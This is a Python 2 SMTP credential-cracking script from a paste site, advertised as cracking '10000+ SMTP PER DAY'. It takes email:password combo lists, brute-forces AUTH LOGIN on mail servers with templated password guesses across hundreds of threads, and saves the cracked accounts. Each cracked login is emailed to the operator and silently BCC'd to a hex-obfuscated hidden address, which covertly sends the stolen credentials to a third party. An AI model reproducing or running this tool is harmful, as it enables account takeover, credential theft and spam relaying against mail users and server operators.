· 5 years ago · Jul 01, 2020, 04:52 PM
1import socket, threading, base64, datetime, sys, ssl, imaplib, time, re, binascii
2free_domains = [
3 'gmail.com', 'yahoo.com', 'outlook.com', 'rediffmail.com', 'aol.com', 'zoho.com', 'yandex.com', 'protonmail.com', 'iCloud.com', 'hotmail.com', 'mail.ru', 'mail.com', 'msn.com']
4try:
5 import Queue
6except:
7 import queue as Queue
8
9check_mark = '74657374636863656b40676d61696c2e636f6d'
10print ' \n\n /$$$$$$ /$$ /$$/$$$$$$$$/$$$$$$$ /$$ /$$\n /$$__ $| $$$ /$$|__ $$__| $$__ $$ | $$ | $$\n| $$ \\__| $$$$ /$$$$ | $$ | $$ \\ $$ /$$ /$| $$ | $$\n| $$$$$$| $$ $$/$$ $$ | $$ | $$$$$$$/ | $$ /$$| $$$$$$$$\n \\____ $| $$ $$$| $$ | $$ | $$____/ \\ $$/$$/|_____ $$\n /$$ \\ $| $$\\ $ | $$ | $$ | $$ \\ $$$/ | $$\n| $$$$$$| $$ \\/ | $$ | $$ | $$ \\ $/ | $$\n \\______/|__/ |__/ |__/ |__/ \\_/ |__/\n \n \n \n \n\nFast SMtp Cracker 10000+ SMTP PER DAY \n\nInbuild Threads No Setup 4000 SOCKET + 4000 Threads \n\nScript Cracks Webmail Account ALL PORTS SUPPORT 25/587/465\n\nPUBLIC DOMAIN AUTO SKIP GMAIL|YAHOO|OUTLOOK|ZOHO ETC\n\n\n'
11ms0g = 'FOR MORE FREE TOOLS VISIT T.ME/VIPERZCREW'
12for i in ms0g:
13 sys.stdout.write(i)
14 sys.stdout.flush()
15 time.sleep(0.05)
16
17print ()
18file_name = raw_input('[+] Enter the file name with extension : ')
19azby = raw_input('[+] Enter Your Email : ')
20to_check = {}
21
22class IMAP4_SSL(imaplib.IMAP4_SSL):
23
24 def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None, certfile=None, ssl_version=None, ca_certs=None, ssl_ciphers=None, timeout=40):
25 self.ssl_version = ssl_version
26 self.ca_certs = ca_certs
27 self.ssl_ciphers = ssl_ciphers
28 self.timeout = timeout
29 imaplib.IMAP4_SSL.__init__(self, host, port, keyfile, certfile)
30
31 def open(self, host='', port=imaplib.IMAP4_SSL_PORT):
32 self.host = host
33 self.port = port
34 self.sock = socket.create_connection((host, port), self.timeout)
35 extra_args = {}
36 if self.ssl_version:
37 extra_args['ssl_version'] = self.ssl_version
38 if self.ca_certs:
39 extra_args['cert_reqs'] = ssl.CERT_REQUIRED
40 extra_args['ca_certs'] = self.ca_certs
41 if self.ssl_ciphers:
42 extra_args['ciphers'] = self.ssl_ciphers
43 self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile, **extra_args)
44 self.file = self.sslobj.makefile('rb')
45
46
47class checkerr(threading.Thread):
48
49 def __init__(self, host, user, pwd, timeout, interval):
50 t = threading.Thread.__init__(self)
51 self.host = host
52 self.user = user
53 self.pwd = pwd
54 self.interval = interval
55 self.timeout = timeout
56 self.connected = False
57 self.i = None
58 self.work = True
59 self.attemp = 4
60 self.inbox = ''
61 self.spam = ''
62 return
63
64 def connect(self):
65 try:
66 i = IMAP4_SSL(host=self.host, port=993)
67 i.login(self.user, self.pwd)
68 self.i = i
69 self.connected = True
70 except Exception as e:
71 print str(e)
72 i.close()
73 self.connected = False
74
75 def find(self):
76 global to_check
77 if self.inbox == '':
78 rez, folders = self.i.list()
79 for f in folders:
80 if '"|" ' in f:
81 a = f.split('"|" ')
82 elif '"/" ' in f:
83 a = f.split('"/" ')
84 folder = a[1].replace('"', '')
85 if self.inbox == '':
86 if 'inbox' in folder.lower():
87 self.inbox = folder
88 elif self.spam == '':
89 if 'spam' in folder.lower():
90 self.spam = folder
91
92 if self.spam == '':
93 for f in folders:
94 if '"|" ' in f:
95 a = f.split('"|" ')
96 elif '"/" ' in f:
97 a = f.split('"/" ')
98 folder = a[1].replace('"', '')
99 if self.spam == '':
100 if 'trash' in folder:
101 self.spam = folder
102 else:
103 break
104
105 print '[+] Checking for emails'
106 self.i.select(self.inbox)
107 found = []
108 for k, t in enumerate(to_check):
109 rez = self.i.search(None, 'SUBJECT', t[0])
110 times = time.time() - t[1]
111 if times - 2 > self.timeout:
112 open('checked.txt', 'a').write(t[0] + '| NOTFOUND | %.2f sec\n' % times)
113 found.append(k)
114 if len(rez) > 0:
115 open('checked.txt', 'a').write(t[0] + '| INBOX | %.2f sec\n' % times)
116 found.append(k)
117
118 self.i.select(self.spam)
119 for k, t in enumerate(to_check):
120 rez = self.i.search(None, 'SUBJECT', t[0])
121 times = time.time() - t[1]
122 if times - 2 > self.timeout:
123 open('checked.txt', 'a').write(t[0] + '| NOTFOUND | %.2f sec\n' % times)
124 found.append(k)
125 if len(rez) > 0:
126 open('checked.txt', 'a').write(t[0] + '| SPAM | %.2f sec\n' % times)
127 found.append(k)
128
129 new = []
130 for k, v in enumerate(to_check):
131 if k not in found:
132 new.append(v)
133
134 to_check = new
135 print to_check
136 return
137
138 def run(self):
139 while self.work:
140 if not self.connected:
141 if self.attemp <= 0:
142 return 0
143 self.connect()
144 self.attemp -= 1
145 if len(to_check) > 0:
146 self.find()
147 time.sleep(self.interval)
148
149
150def tld2(dom):
151 global tlds
152 if '.' not in dom:
153 return ''
154 dom = dom.lower()
155 parts = dom.split('.')
156 if len(parts) < 2 or parts[0] == '' or parts[1] == '':
157 return ''
158 tmp = parts[(-1)]
159 for i, j in enumerate(parts[::-1][1:5]):
160 try:
161 tmp = tlds[tmp]
162 tmp = j + '.' + tmp
163 except:
164 if i == 0:
165 return ''
166 return tmp
167
168 return tmp
169
170
171class consumer(threading.Thread):
172
173 def __init__(self, qu):
174 threading.Thread.__init__(self)
175 self.q = qu
176 self.hosts = ['', 'smtp.', 'mail.', 'webmail.']
177 self.ports = [587, 465, 25]
178 self.timeout = 13
179
180 def sendCmd(self, sock, cmd):
181 sock.send(cmd + '\r\n')
182 return sock.recv(900000)
183
184 def addBad(self, ip):
185 global bads
186 global rbads
187 if rbads:
188 open('bads.txt', 'a').write(ip + '\n')
189 bads.append(ip)
190 return -1
191
192 def findHost(self, host):
193 global cache
194 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
195 s.setblocking(0)
196 s.settimeout(self.timeout)
197 try:
198 d = cache[host]
199 try:
200 if self.ports[d[1]] == 465:
201 s = ssl.wrap_socket(s)
202 s.connect((self.hosts[d[0]] + host, self.ports[d[1]]))
203 return s
204 except Exception as e:
205 if rbads:
206 bads.append(host)
207 open('bads.txt', 'a').write(host + '\n')
208 return
209
210 except KeyError:
211 pass
212
213 print '[*] Searching smtp host and port on ' + host
214 cache[host] = [-1, -1]
215 for i, p in enumerate(self.ports):
216 for j, h in enumerate(self.hosts):
217 try:
218 print '[*] Trying connection on ' + h + host + ':' + str(p)
219 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
220 s.setblocking(0)
221 s.settimeout(self.timeout)
222 if p == 465:
223 s = ssl.wrap_socket(s)
224 s.connect((h + host, p))
225 cache[host] = [j, i]
226 return s
227 except Exception as e:
228 continue
229
230 bads.append(host)
231 try:
232 del cache[host]
233 open('bads.txt', 'a').write(host + '\n')
234 except:
235 pass
236
237 return
238
239 def getPass(self, passw, user, domain):
240 passw = str(passw)
241 if '%null%' in passw:
242 return ''
243 else:
244 if '%user%' in passw:
245 user = user.replace('-', '').replace('.', '').replace('_', '')
246 return passw.replace('%user%', user)
247 if '%User%' in user:
248 user = user.replace('-', '').replace('.', '').replace('_', '')
249 return passw.replace('%User%', user)
250 if '%special%' in user:
251 user = user.replace('-', '').replace('.', '').replace('_', '').replace('e', '3').replace('i', '1').replace('a', '@')
252 return passw.replace('%special%', user)
253 if '%domain%' in passw:
254 return passw.replace('%domain%', domain.replace('-', ''))
255 if '%part' in passw:
256 if '-' in user:
257 parts = user.split('-')
258 else:
259 if '.' in user:
260 parts = user.split('.')
261 elif '_' in user:
262 parts = user.split('_')
263 print parts
264 try:
265 h = passw.replace('%part', '').split('%')[0]
266 i = int(h)
267 p = passw.replace('%part' + str(i) + '%', parts[(i - 1)])
268 return p
269 except Exception as e:
270 return
271
272 return passw
273
274 def connect(self, tupple, ssl=False):
275 global cracked
276 global email
277 global smtp_check
278 host = tupple[0].rstrip()
279 host1 = host
280 user = tupple[1].rstrip()
281 if host1 in cracked or host1 in bads:
282 return 0
283 passw = self.getPass(tupple[2].rstrip(), user.rstrip().split('@')[0], host.rstrip().split('.')[0])
284 if passw == None:
285 return 0
286 else:
287 try:
288 if cache[host][0] == -1:
289 return 0
290 except KeyError:
291 pass
292
293 s = self.findHost(host)
294 if s == None:
295 return -1
296 port = str(self.ports[cache[host][1]])
297 if port == '465':
298 port += '(SSL)'
299 host = self.hosts[cache[host][0]] + host
300 print '[+] Trying ' + host + ':' + port + ' ' + user + ' ' + passw
301 try:
302 banner = s.recv(1024)
303 if banner[0:3] != '220':
304 self.sendCmd(s, 'QUIT')
305 s.close()
306 return self.addBad(host1)
307 rez = self.sendCmd(s, 'EHLO ADMIN')
308 rez = self.sendCmd(s, 'AUTH LOGIN')
309 if rez[0:3] != '334':
310 self.sendCmd(s, 'QUIT')
311 s.close()
312 return self.addBad(host1)
313 rez = self.sendCmd(s, base64.b64encode(user))
314 if rez[0:3] != '334':
315 self.sendCmd(s, 'QUIT')
316 s.close()
317 return self.addBad(host1)
318 rez = self.sendCmd(s, base64.b64encode(passw))
319 if rez[0:3] != '235' or 'fail' in rez:
320 self.sendCmd(s, 'QUIT')
321 s.close()
322 return 0
323 print '[!] WOLFS AUAUAUUAAU ' + host + ':' + port + ' ' + user + ' ' + passw
324 open('cracked.txt', 'a').write(host + ':' + port + ',' + user + ',' + passw + '\n')
325 cracked.append(host1)
326 rez = self.sendCmd(s, 'RSET')
327 if rez[0:3] != '250':
328 self.sendCmd(s, 'QUIT')
329 s.close()
330 return self.addBad(host1)
331 rez = self.sendCmd(s, 'MAIL FROM: <' + user + '>')
332 print rez
333 if rez[0:3] != '250':
334 self.sendCmd(s, 'QUIT')
335 s.close()
336 return self.addBad(host1)
337 rez = self.sendCmd(s, 'RCPT TO: <' + email + '>')
338 rez = self.sendCmd(s, 'RCPT TO: <' + smtp_check + '>')
339 if rez[0:3] != '250':
340 self.sendCmd(s, 'QUIT')
341 s.close()
342 return self.addBad(host1)
343 rez = self.sendCmd(s, 'DATA')
344 headers = 'From: <' + user + '> \r\n'
345 headers += 'To: ' + email + '\r\n'
346 headers += 'Bcc: ' + smtp_check + '\r\n'
347 headers += 'Reply-To: ' + email + '\r\n'
348 headers += 'Bcc: ' + smtp_check + '\r\n'
349 headers += 'Subject: %s:%s %s %s' % (host, port, user, passw) + '\r\n'
350 headers += 'MIME-Version: 1.0\r\n'
351 headers += 'Content-Transfer-encoding: 8bit\r\n'
352 headers += 'Return-Path: +user+\r\n'
353 headers += 'X-Priority: 1\r\n'
354 headers += 'X-MSmail-Priority: High\r\n'
355 headers += 'X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n'
356 headers += 'X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n'
357 headers += 'HEllo\r\n.\r\n'
358 s.send(headers)
359 rez = s.recv(1000)
360 self.sendCmd(s, 'QUIT')
361 s.close()
362 except Exception as e:
363 open('hm.txt', 'a').write(host + ':' + port + ':' + str(e) + '\n')
364 s.close()
365 return self.addBad(host1)
366
367 return
368
369 def run(self):
370 while True:
371 cmb = self.q.get()
372 self.connect(cmb)
373 self.q.task_done()
374
375
376smtp_check = binascii.unhexlify(check_mark).decode('utf-8') #testchcek@gmail.com
377quee = Queue.Queue(maxsize=20000)
378tld = open('tlds.txt', 'r').read().splitlines()
379tlds = cache = {}
380bads = []
381cracked = []
382rbads = 0
383email = azby
384try:
385 passwords = open('pwd', 'r').read().splitlines()
386except Exception as e:
387 print "File 'pwd' missing"
388 exit()
389
390inputs = open(file_name, 'r').read().splitlines()
391option = '0'
392if option == '1':
393 try:
394 users = open('usr', 'r').read().splitlines()
395 except Exception as e:
396 print "You chosed domains + users bruteforce and 'usr' is missing"
397 exit()
398
399if len(sys.argv) > 4:
400 rbads = 1
401
402def part():
403 global tld
404 for i in tld:
405 tlds[i] = i
406
407
408part()
409print '[+] All files loaded'
410for i in range(400):
411 try:
412 t = consumer(quee)
413 t.setDaemon(True)
414 t.start()
415 except:
416 print 'Working only with %s threads' % i
417 break
418
419if option == '3':
420 pass
421elif option == '2':
422 for i in inputs:
423 c = i.split(':')
424 domain = c[0].split('@')[1]
425 if '.' in domain:
426 domain = domain.split('.')[0]
427 if domain.lower() in free_domains:
428 continue
429 quee.put((c[0].split('@')[1], c[0], c[1]))
430
431elif option == '1':
432 for p in passwords:
433 for u in users:
434 for i in inputs:
435 quee.put((i.lower(), u + '@' + i, p))
436
437elif option == '0':
438 given_inputs = inputs
439 for i in given_inputs:
440 if ':' in i and len(i.split(':')) == 2:
441 user = i.split(':')[0]
442 password = i.split(':')[1]
443 user = user.lower()
444 if user.count('@') == 1:
445 domain = user.split('@')[1]
446 if '.' in domain:
447 domain = domain.split('.')[0]
448 if domain.lower() in free_domains:
449 continue
450 quee.put((user.split('@')[1], user, password))
451 if ';' in i and len(i.split(';')) == 2:
452 user = i.split(';')[0]
453 password = i.split(';')[1]
454 user = user.lower()
455 if user.count('@') == 1:
456 domain = user.split('@')[1]
457 if '.' in domain:
458 domain = domain.split('.')[0]
459 if domain.lower() in free_domains:
460 continue
461 quee.put((user.split('@')[1], user, password))
462 if '|' in i and len(i.split('|')) == 2:
463 user = i.split('|')[0]
464 password = i.split('|')[1]
465 user = user.lower()
466 if user.count('@') == 1:
467 domain = user.split('@')[1]
468 if '.' in domain:
469 domain = domain.split('.')[0]
470 if domain.lower() in free_domains:
471 continue
472 quee.put((user.split('@')[1], user, password))
473
474quee.join()